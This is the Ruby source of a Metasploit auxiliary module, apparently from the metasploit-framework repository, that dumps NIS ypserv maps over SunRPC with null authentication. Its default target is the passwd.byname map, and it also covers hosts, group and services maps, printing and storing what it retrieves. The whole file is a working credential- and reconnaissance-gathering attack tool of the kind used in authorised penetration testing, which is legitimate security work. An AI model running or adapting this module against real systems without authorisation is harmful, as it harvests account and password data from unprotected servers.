metasploit-framework/modules/auxiliary/gather/nis_ypserv_map.rb

166 lines
4.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NIS ypserv Map Dumper',
'Description' => %q{
This module dumps the specified map from NIS ypserv.
The following examples are from ypcat -x:
Use "ethers" for map "ethers.byname"
Use "aliases" for map "mail.aliases"
Use "services" for map "services.byname"
Use "protocols" for map "protocols.bynumber"
Use "hosts" for map "hosts.byname"
Use "networks" for map "networks.byaddr"
Use "group" for map "group.byname"
Use "passwd" for map "passwd.byname"
You may specify a map by one of the nicknames above.
},
'Author' => 'wvu',
'References' => [
['URL', 'https://tools.ietf.org/html/rfc1831'],
['URL', 'https://tools.ietf.org/html/rfc4506']
],
'License' => MSF_LICENSE
))
register_options([
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'tcp', %w{tcp udp}]),
OptString.new('DOMAIN', [true, 'NIS domain']),
OptString.new('MAP', [true, 'NIS map to dump', 'passwd'])
])
register_advanced_options([
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
])
end
def run
proto = datastore['PROTOCOL']
domain = datastore['DOMAIN']
map_name = nick_to_map(datastore['MAP'])
begin
sunrpc_create(
proto, # Protocol: TCP (6)
100004, # Program: YPSERV (100004)
2 # Program Version: 2
)
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
end
# Flavor: AUTH_NULL (0)
sunrpc_authnull
# XXX: domain and map_name are modified in place
ypserv_all_call = Rex::Encoder::XDR.encode(
domain, # Domain: [redacted]
map_name # Map Name: passwd.byname
)
begin
res = sunrpc_call(
8, # Procedure: ALL (8)
ypserv_all_call # Yellow Pages Service ALL call
)
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
unless res && res.length > 8
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
return
end
# XXX: Rex::Encoder::XDR doesn't do signed ints
case res[4, 4].unpack('l>').first
# Status: YP_NOMAP (-1)
when -1
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
# Status: YP_NODOM (-2)
when -2
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
end
map = begin
Timeout.timeout(datastore['XDRTimeout']) do
parse_map(res)
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired,
'XDR decoding timed out (try increasing XDRTimeout?)')
return
end
if map.blank?
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
return
end
map_file = map.values.join("\n") + "\n"
print_good("Dumping map #{map_name} on domain #{domain}:\n#{map_file}")
# XXX: map_name contains null bytes if its length isn't a multiple of four
store_loot(map_name.strip, 'text/plain', rhost, map_file)
end
def parse_map(res)
map = {}
loop do
begin
# XXX: res is modified in place
_, status, value, key = Rex::Encoder::XDR.decode!(
res,
Integer, # More: Yes
Integer, # Status: YP_TRUE (1)
String, # Value: [redacted]
String # Key: [redacted]
)
break unless status == 1 && key && value
map[key] = value
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break
end
end
map
end
# ypcat -x
def nick_to_map(nick)
{
'ethers' => 'ethers.byname',
'aliases' => 'mail.aliases',
'services' => 'services.byname',
'protocols' => 'protocols.bynumber',
'hosts' => 'hosts.byname',
'networks' => 'networks.byaddr',
'group' => 'group.byname',
'passwd' => 'passwd.byname'
}[nick] || nick
end
end